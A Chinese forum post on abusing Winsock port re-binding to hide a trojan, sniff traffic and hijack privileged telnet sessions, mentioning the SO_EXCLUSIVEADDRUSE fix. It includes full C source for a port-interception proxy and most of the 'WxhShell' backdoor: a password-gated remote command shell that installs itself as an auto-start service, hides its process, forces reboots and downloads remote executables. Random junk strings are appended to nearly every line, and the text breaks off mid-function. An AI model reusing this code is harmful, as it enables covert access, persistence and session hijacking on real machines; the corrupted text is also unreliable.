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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0b+End#mp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '/@i} digf  
-bp7X{&  
  saddr.sin_family = AF_INET; ^A$p)`KR  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =:Lc-y>  
/^b=| +Do  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $ -M'  
ya'OI P `  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PZhpp"  
qWw{c&{Q],  
  这意味着什么?意味着可以进行如下的攻击: ]`\~(*;[W9  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yA^+<uz}  
GKf%dK L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +t p@Tb  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fo GSCg%  
AHdh]pfH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sU;aA0kz  
R% )7z)~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )U:W 9%  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _rfGn,@BH  
kUQdi%3yY;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %<;PEQQ|C  
I] 0 D*z  
  #include 'v_VyK*w  
  #include #H&`wMZZ:  
  #include {{Z3M>Q  
  #include    9vJ'9Z2\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   17@#"uT0  
  int main() j$}W%ibj  
  { dnstm@0k  
  WORD wVersionRequested;  ~ A4_  
  DWORD ret; H@BU/{  
  WSADATA wsaData; o :_'R5  
  BOOL val; d/&~IR  
  SOCKADDR_IN saddr; SMbhJ}\O  
  SOCKADDR_IN scaddr; <wO8=bem  
  int err; Fq #;  
  SOCKET s; c_)lTI4  
  SOCKET sc; !&@!:=X,  
  int caddsize; 46M?Gfd,X  
  HANDLE mt; ~+bSD<!b  
  DWORD tid;   P|kfPohI=  
  wVersionRequested = MAKEWORD( 2, 2 ); nZ~J &QK-  
  err = WSAStartup( wVersionRequested, &wsaData ); >e9xM Gv  
  if ( err != 0 ) { gukKa  
  printf("error!WSAStartup failed!\n"); i")ucrf  
  return -1; 3NxwQ,~  
  } +G lb  
  saddr.sin_family = AF_INET; t.= 1<Ed  
   9e'9$-z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yb Dz{m  
`HJRXoLySW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9zD^4j7  
  saddr.sin_port = htons(23); ~6O<5@k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,[|4{qli\  
  { dEWI8Q]  
  printf("error!socket failed!\n"); t+m ug  
  return -1; -KFozwr5/  
  } zIh`Vw,t0  
  val = TRUE; m{ C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y+ea  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9ZXEy }q57  
  { 3ew`e"s  
  printf("error!setsockopt failed!\n"); ;-@v1I;  
  return -1; hF7#i_UN<  
  } 4/M~#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2N[S*#~*e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <R @w0b>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  v{ *#  
@G:aW\Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N!W2O>VS  
  { 0ntf%#2{  
  ret=GetLastError(); = , ^eQZR:  
  printf("error!bind failed!\n"); =RH7j  
  return -1; 3( `NHS~h  
  } oJbMUEQQq  
  listen(s,2); ]Z#=w  
  while(1) t&L+]I'P3  
  { )H`1CcT  
  caddsize = sizeof(scaddr); YQ#o3 sjs  
  //接受连接请求 c&n.JV   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '}.Z' %;  
  if(sc!=INVALID_SOCKET) !pG_MO  
  { xcA5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xix: = a  
  if(mt==NULL) ]Y@B= 5e/  
  { n*vzp?+Y  
  printf("Thread Creat Failed!\n"); l~i&r?,]^  
  break; % C.I2J`_  
  } yp.\KLq8)  
  } UA]U_P$c  
  CloseHandle(mt); uf<nVdC.  
  } N)b.$aC  
  closesocket(s); 2#?qey  
  WSACleanup(); |ZuS"'3_w  
  return 0; ^i!6q9<{e  
  }   "~^ #{q  
  DWORD WINAPI ClientThread(LPVOID lpParam) -=CZhp  
  { O0Sk?uJ <  
  SOCKET ss = (SOCKET)lpParam; ^P !} "  
  SOCKET sc; K|g+W t^tQ  
  unsigned char buf[4096]; u?+i5=N9{  
  SOCKADDR_IN saddr; 5$.e5y<&(  
  long num; i $:QOMA  
  DWORD val; M h5>@-fEE  
  DWORD ret; A9L {c!|-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F ;;\I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %an&lcoX  
  saddr.sin_family = AF_INET; N% W298  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .PJCBT e  
  saddr.sin_port = htons(23); LIZsDTU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XAF*jevr  
  { qH1&tW$  
  printf("error!socket failed!\n"); E+xC1U 3  
  return -1; HbXYinG%  
  } p&|:,|jo5  
  val = 100; ytg' {)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JXA!l ?%  
  { !<2%N3l  
  ret = GetLastError(); 236,o {9e  
  return -1; TowRY=#jiS  
  } ! >l)*jN8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V$';B=M  
  { i r/-zp_  
  ret = GetLastError(); (^4V]N&  
  return -1; heN?lmC  
  } 3}lT"K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :kz"W ya.  
  { Q"2J2211  
  printf("error!socket connect failed!\n"); 9pJk.Np0   
  closesocket(sc); M8HHyV[AmC  
  closesocket(ss); "fTW2D74  
  return -1; DcL;7IT  
  } suP/I?4'@  
  while(1) u^Sa{Jk=  
  { qe{:9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |}Wm,J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B(TE?[ #  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 # 2qDn^s  
  num = recv(ss,buf,4096,0); ,q|;`?R;  
  if(num>0) CV )v6f  
  send(sc,buf,num,0); VA^yv1We  
  else if(num==0) [9U: :  
  break; 0V_dg |.  
  num = recv(sc,buf,4096,0); 6mAaFDI,R  
  if(num>0) mOQN$d[  
  send(ss,buf,num,0); e[)oT  
  else if(num==0) yRF %SWO  
  break; {InD/l'v6n  
  } Zj]jE%AT  
  closesocket(ss); :t8?!9g  
  closesocket(sc); zm7IkYF  
  return 0 ; zF-R$_]av  
  } f;7I{Z\<  
NplWF\5y  
.lt|$["  
========================================================== -mur` tC  
 ^D.u   
下边附上一个代码,,WXhSHELL ft" t  
@G&2Tbj[`  
========================================================== [zv@}@$  
(m3 <)  
#include "stdafx.h" PZjK6]N\  
`1fNB1c  
#include <stdio.h> ZS\~GQbG  
#include <string.h> V^[B=|56  
#include <windows.h> Q]v><  
#include <winsock2.h> 8,DY0PGP  
#include <winsvc.h> 9J $"Qt5;6  
#include <urlmon.h> (0W)Jd[  
rOyKugHe  
#pragma comment (lib, "Ws2_32.lib") T}55ZpS C&  
#pragma comment (lib, "urlmon.lib") Z;qgB7-M  
]8;2Oh   
#define MAX_USER   100 // 最大客户端连接数 9ER!K  
#define BUF_SOCK   200 // sock buffer A0f98 ?j^  
#define KEY_BUFF   255 // 输入 buffer Uxl7O4J@H  
A<$w }Fy;  
#define REBOOT     0   // 重启 de<T5/  
#define SHUTDOWN   1   // 关机 ]b6gZ<  
}S_#*N)i  
#define DEF_PORT   5000 // 监听端口 zY^QZceq"  
X]T&kdQ6q  
#define REG_LEN     16   // 注册表键长度 s`63 y&Z[  
#define SVC_LEN     80   // NT服务名长度 |h6u%t2AY  
{)L*\r  
// 从dll定义API 8v V<A*`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  3 UX/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4?2$~\ x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }3DZ`8u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); abgA Ug)  
X<*-d6?gD`  
// wxhshell配置信息 L63B# H "  
struct WSCFG { M?QK4Zxb6U  
  int ws_port;         // 监听端口 |q+dTy_n  
  char ws_passstr[REG_LEN]; // 口令 |[B JZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8uD%  
  char ws_regname[REG_LEN]; // 注册表键名 |iLf;8_:  
  char ws_svcname[REG_LEN]; // 服务名 Rxfhk,I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .FWi$B';  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5%K(tRc|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ucwUeRw,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JMVh\($,x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sz'H{?"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :5, k64'D  
E$1P H)  
}; | ycN)zuE  
OS]FGD3a  
// default Wxhshell configuration N6thbH@  
struct WSCFG wscfg={DEF_PORT, z1vSt[s  
    "xuhuanlingzhe", i~sW_f+  
    1, 7~ =r9-&G  
    "Wxhshell", I/`\>Hk  
    "Wxhshell", ,GTIpPj  
            "WxhShell Service", mDX UF~G[  
    "Wrsky Windows CmdShell Service", *:tfz*FG$G  
    "Please Input Your Password: ", *Al`QEW  
  1, Q@aDa8Z  
  "http://www.wrsky.com/wxhshell.exe", :|TQi9L$rj  
  "Wxhshell.exe" \{K~x@`  
    }; ^9`S`Bhp  
9tBE=L=  
// 消息定义模块 (D~NW*,9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <Dq7^,}#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {wwkbc*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e.l3xwt>$  
char *msg_ws_ext="\n\rExit."; &(/QJ`*8  
char *msg_ws_end="\n\rQuit."; 7S.E,\Tws  
char *msg_ws_boot="\n\rReboot..."; $s`#&.>c-  
char *msg_ws_poff="\n\rShutdown..."; ,he1WjL  
char *msg_ws_down="\n\rSave to "; U%u%_{-  
Zg;%$ kSQ  
char *msg_ws_err="\n\rErr!"; 3"HX':8x  
char *msg_ws_ok="\n\rOK!";  \s^4f#  
jk9/EmV*r  
char ExeFile[MAX_PATH]; cOrFe;8-.  
int nUser = 0; GX,)~Syw*  
HANDLE handles[MAX_USER]; =?oYEO7  
int OsIsNt; 3`U^sr:[%  
}]!?t~5*  
SERVICE_STATUS       serviceStatus; :vo#(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kB3@;z:  
O&@pi-=o  
// 函数声明 ay`A Gr  
int Install(void); .0b4"0~T6  
int Uninstall(void); ? e<D +  
int DownloadFile(char *sURL, SOCKET wsh); rcU*6`IWA  
int Boot(int flag); ''3b[<  
void HideProc(void); dk[MT'DV  
int GetOsVer(void); aYrbB#  
int Wxhshell(SOCKET wsl); 6)j/"9oY  
void TalkWithClient(void *cs); qfS ]vc_N  
int CmdShell(SOCKET sock); *)xjMTJ%  
int StartFromService(void); dQ`=CIr  
int StartWxhshell(LPSTR lpCmdLine); O;H|nW}  
m>&:)K}m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rfH Az  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1|/-Ff"1@  
F|! ib5  
// 数据结构和表定义 Ro :)N:C  
SERVICE_TABLE_ENTRY DispatchTable[] = IEeh9:Km  
{ uB>OS 1=  
{wscfg.ws_svcname, NTServiceMain}, 6X[Mn2wYW  
{NULL, NULL} c#<p44>U  
}; <&MY/vV  
JSu+/rI1  
// 自我安装 z( ^ r  
int Install(void) 8/BWe ;4  
{ !63]t?QXMG  
  char svExeFile[MAX_PATH]; owKOH{otf  
  HKEY key; +LB2V3UZ  
  strcpy(svExeFile,ExeFile); Q1^kU0M}  
v)s; wD  
// 如果是win9x系统,修改注册表设为自启动 Gzkvj:(V  
if(!OsIsNt) { 9`Zwa_Tni  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :>3/*"vx?G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j7sRmQCl  
  RegCloseKey(key); UtYwG#/w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gvCQ![  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y$`@QRW  
  RegCloseKey(key); Y wu > k  
  return 0; ?*dt JL  
    } ck\TTNA  
  } M=#'+CF}W  
} vV*i)`IXe  
else { 2kW*Z7@D  
A| s\5"??  
// 如果是NT以上系统,安装为系统服务 Y@2v/O,\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;Yu|LaI\<m  
if (schSCManager!=0) ,ocAB;K  
{ "fOxS\er  
  SC_HANDLE schService = CreateService 1^AG/w  
  ( DM=`hyf(v  
  schSCManager, ihBIE  
  wscfg.ws_svcname, Cd'`rs}3  
  wscfg.ws_svcdisp, *RJiHcII  
  SERVICE_ALL_ACCESS, ~jDf,a2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ePscSMx&  
  SERVICE_AUTO_START, v0u, :eZ4  
  SERVICE_ERROR_NORMAL, .~7:o.BE`n  
  svExeFile, Rg\D-F6:  
  NULL, yP0XA=,Y  
  NULL, 0+3{fD/  
  NULL, H J0Rcw%  
  NULL, (Q F-=o  
  NULL :]uz0s`>  
  );  RI&V:1  
  if (schService!=0) 1g>>{ y  
  { ++Fv )KY@  
  CloseServiceHandle(schService); Y^-D'2P]P  
  CloseServiceHandle(schSCManager); "/0Vvy_|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YES-,;ZQ'  
  strcat(svExeFile,wscfg.ws_svcname); h42dk(B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xM2UwTpW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +~\1g^h  
  RegCloseKey(key); G6q*U,  
  return 0; /33m6+  
    } 9?zi  
  } 0T.kwZ8  
  CloseServiceHandle(schSCManager); gtRVXgI  
} sM6o(=>  
} Tu&W7aoX5  
ufvjW]   
return 1;  s4vj  
} nXAGwU8a  
d]+2rt}]hL  
// 自我卸载 z6uHe{|  
int Uninstall(void) 6oy[0hj  
{ /0(c-Dv  
  HKEY key; Wo7`gf_(  
5 Mz6/&`  
if(!OsIsNt) { ZYs?65.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <8YIQA  
  RegDeleteValue(key,wscfg.ws_regname); !P@4dG  
  RegCloseKey(key); [Y-3C47  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z}yd` 7  
  RegDeleteValue(key,wscfg.ws_regname); St;@ZV  
  RegCloseKey(key); EFz Pt?l  
  return 0; 1a_;(T  
  } {+jO/ZQu5  
} Q3rLCg,;  
} @j'GcN vs  
else { sOhKMz  
Y{g[LG`U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q9{f'B  
if (schSCManager!=0) .tA=5 QY,  
{ rj/1AK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L!0}&i;u~5  
  if (schService!=0) r;@"s g  
  { SlI wLv^  
  if(DeleteService(schService)!=0) { 3,)[Q?nKD  
  CloseServiceHandle(schService); *QA{xvT  
  CloseServiceHandle(schSCManager); 9{CajtN  
  return 0; Y lhKP;  
  } bA\(oD+:  
  CloseServiceHandle(schService); xwa@h}\#  
  } W<T Ui51Y  
  CloseServiceHandle(schSCManager); (kL(:P/  
} NS){D7T  
} z C 7b  
7}puj%JS /  
return 1; tu6<>  
} bwe)_<c  
9v?rNJs  
// 从指定url下载文件 }#phNn6  
int DownloadFile(char *sURL, SOCKET wsh) R#4f_9e<Z  
{ Mw|lEctN0  
  HRESULT hr; hp$1c  
char seps[]= "/"; |>Pz#DCy  
char *token; ZDx1v_xr  
char *file; l._g[qa  
char myURL[MAX_PATH]; =4 NKXP~C  
char myFILE[MAX_PATH]; $J=`fx  
: $N43_Wb  
strcpy(myURL,sURL); mNKcaM?h  
  token=strtok(myURL,seps); aEn*vun  
  while(token!=NULL) 6f)7*j~  
  { +Ou<-EQV  
    file=token; g1I8_!}~  
  token=strtok(NULL,seps); ~T!D:2G  
  } @T] G5|\ok  
S2:G#%EAa  
GetCurrentDirectory(MAX_PATH,myFILE); JfRqOEP4Y  
strcat(myFILE, "\\"); ufo\p=pGG  
strcat(myFILE, file); &Xi] 0\M)  
  send(wsh,myFILE,strlen(myFILE),0); lm|s%  
send(wsh,"...",3,0); Uj^Y\w-@Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j+[oZfH  
  if(hr==S_OK) |}Mthj9n  
return 0; ^+x,211f  
else &"DD&87N%  
return 1; {Zo*FZcaX  
B/dJj#  
} '#lc?Y(pJ2  
pER[^LH_)  
// 系统电源模块 MUUhg  
int Boot(int flag) ?N]G;%3/  
{ W/.Wp|C}K3  
  HANDLE hToken; 2/ejU,S  
  TOKEN_PRIVILEGES tkp; y=zs6HaS  
"qoJIwl#q  
  if(OsIsNt) { <`Qb b=*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aB{OXU}#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3j2d&*0  
    tkp.PrivilegeCount = 1; Ls'8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R'qBG(?i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s){R/2O3F  
if(flag==REBOOT) { q+ka}@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )kIjZ  
  return 0; {7.uwIW.1  
} c=aVYQ"2  
else { ,.AXQ#~&`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >nO[5  
  return 0; 1rV9dM#F  
} 7pM&))R  
  } b6g/SIae  
  else { c*",AZ>U  
if(flag==REBOOT) { c=<^pCa9t1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?ZYj5[op,H  
  return 0; ge#P(Itz  
} k#G+<7c<  
else { *~^%s +b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5")BCA  
  return 0; d>wG6Z,|  
} :3D[~-/S  
} cd] X5)$h  
dTqL[?wH?  
return 1; xP &@|Ag  
} Y#FSU# a$<  
z8 K#G%,:  
// win9x进程隐藏模块 vH@$?b3VP  
void HideProc(void) 5uU{!JuSa  
{ E//*bmww  
6>b'g ~I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uzL|yxt  
  if ( hKernel != NULL ) zLg_0r*h1  
  { pIY3ft\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ceAefKdb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kir|in)r0  
    FreeLibrary(hKernel); M1I4Ot  
  } OT#foP   
aZ}z/.b]  
return; (, $Lp0mB7  
} n +dRAIqB  
5"w%  
// 获取操作系统版本 Tx(=4ALY  
int GetOsVer(void) 7eG@)5Uy  
{ c+jnQM'  
  OSVERSIONINFO winfo; i}>} %l|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Oyp)Wm;@  
  GetVersionEx(&winfo); }3R:7N`,|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9mEhZ"  
  return 1; %3T:W\h  
  else GuQ#  
  return 0; yn04[PN2  
} >HRLL\u9  
;V^I>-fnm  
// 客户端句柄模块 C3b<Wa])  
int Wxhshell(SOCKET wsl) 29NP!W /g  
{ EHm:&w  
  SOCKET wsh; 2>im'x 5  
  struct sockaddr_in client; MJ.Kor  
  DWORD myID; Yy_mX}\x  
:s|xa u=  
  while(nUser<MAX_USER) m^4Ojik  
{ Ps~)l#gue  
  int nSize=sizeof(client); bj FND]p?w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $B`bsJ  
  if(wsh==INVALID_SOCKET) return 1; )T@+"Pw8t  
SpZmwa #\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g$mqAz<  
if(handles[nUser]==0) %Gm4,+8P3o  
  closesocket(wsh); WiFZY*iu5  
else >k(AQW5?  
  nUser++; @@|H8mP}H  
  } 3A el  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %j?7O00 @  
>c.HH}O0W  
  return 0; ]v.Yt/&C{  
} /!-ypIY  
e_Q(l'f  
// 关闭 socket AmcBu"  
void CloseIt(SOCKET wsh) "H}ae7@  
{ {>l`P{{y  
closesocket(wsh); K_V$ktL  
nUser--; yJw4!A 1!  
ExitThread(0); /(bn+l}W  
} DkBVk+  
e3kdIOu5  
// 客户端请求句柄 IE&G7\>(yO  
void TalkWithClient(void *cs) [q!)Y:|u_>  
{ IF3V5Q  
AI2>{V  
  SOCKET wsh=(SOCKET)cs; VM"*@T  
  char pwd[SVC_LEN]; 7s1LK/R|u  
  char cmd[KEY_BUFF]; NjSjE_S2B8  
char chr[1];  34~[dY  
int i,j; cS"PIelR  
{1W,-%  
  while (nUser < MAX_USER) { %$F\o1S  
K|.!)L  
if(wscfg.ws_passstr) { .,SWa;[iB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \K(# r=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dH0wVI<z  
  //ZeroMemory(pwd,KEY_BUFF); RTTEAh:.  
      i=0; KT8]/T`U  
  while(i<SVC_LEN) { &qZ:"k  
|*zvaI(}  
  // 设置超时 YQ5d!a.  
  fd_set FdRead; [R Hji47  
  struct timeval TimeOut; YCNpJGM  
  FD_ZERO(&FdRead); XwdehyPhT2  
  FD_SET(wsh,&FdRead); H/Ov8|  
  TimeOut.tv_sec=8; <(caY37o6)  
  TimeOut.tv_usec=0; #:/-8Z(0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xr pnc 7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,U'E!?=:VS  
x<{)xP+|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `d:cq.OO  
  pwd=chr[0]; BmFs6{>~c  
  if(chr[0]==0xd || chr[0]==0xa) { n\H.NL)  
  pwd=0; 7 *HBb-  
  break; D i #Em[  
  } o<%s\n  
  i++; u/L\e.4  
    } )9>E} SU/  
!,>9?(  
  // 如果是非法用户,关闭 socket I`EgR?5 `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `<d{(9:+  
} 6w^Fee`>]  
gNzamorv[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h-[FUPfuw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /<oBgFMoJ  
G7H'OB &  
while(1) { t~FOaSt  
Hf$LWPL)lM  
  ZeroMemory(cmd,KEY_BUFF); KmRxbf  
STgYXA(  
      // 自动支持客户端 telnet标准   d!]_n|B@9  
  j=0; D$y-Kh  
  while(j<KEY_BUFF) { ziui  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QOY M/1U  
  cmd[j]=chr[0]; 8&9'1X5)8_  
  if(chr[0]==0xa || chr[0]==0xd) { w97B)Kn6  
  cmd[j]=0; 7 {#^ zr  
  break; Tof H =d  
  } NI?YUhg>  
  j++; p=8?hI/bim  
    } |#-GH$.v  
~gvw6e*[  
  // 下载文件 {F+iL&e)  
  if(strstr(cmd,"http://")) { n:[GK_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9dD;Z$x&Xk  
  if(DownloadFile(cmd,wsh)) zAdZXa[MRY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]AzDkKj  
  else uPtS.j=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "+:IA|1wD  
  } Se-n#  
  else { \)n'Ywr  
>0qe*4n|M  
    switch(cmd[0]) { iu 6NIy7D  
  . 'rC'FT  
  // 帮助 SV96eYT<  
  case '?': { O<?z\yBtS^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -|~tZuf  
    break; ,BG L|5?3z  
  } 9N]V F'  
  // 安装 o2M4?}TpIV  
  case 'i': { Y:} !W  
    if(Install()) \@HsMV2+zN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )S6"I  
    else 7cJh^M   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w(Hio-l=  
    break; 42mZ.,<  
    } uKocEWB=/F  
  // 卸载 H '(Ky  
  case 'r': { ;nB.f.e`  
    if(Uninstall()) 1Qz1 Ehz>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CERT`W%o  
    else ;v^1V+1:z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !q_fcd^c  
    break; 3fWL}]{<a  
    } h\i>4^]X.  
  // 显示 wxhshell 所在路径 ^w|apI~HSE  
  case 'p': { 4w5mn6MxR  
    char svExeFile[MAX_PATH]; u$?t |Ll  
    strcpy(svExeFile,"\n\r"); R3=]Av46  
      strcat(svExeFile,ExeFile); Fxr$j\bm  
        send(wsh,svExeFile,strlen(svExeFile),0); D27MT/=7  
    break; J#^oUq  
    } i+HHOT  
  // 重启 d]6#pSE  
  case 'b': { U}Aoz|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J_Pb R b  
    if(Boot(REBOOT)) b)Px  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J<'I.KZ\z  
    else { I2PFJXp_]n  
    closesocket(wsh); S*-/#j  
    ExitThread(0); hO@VYO   
    } 7D%}( pX  
    break; A(Ss:7({  
    } _7LZ\V+MLW  
  // 关机 1Xi.OGl  
  case 'd': { Hs~u&c  
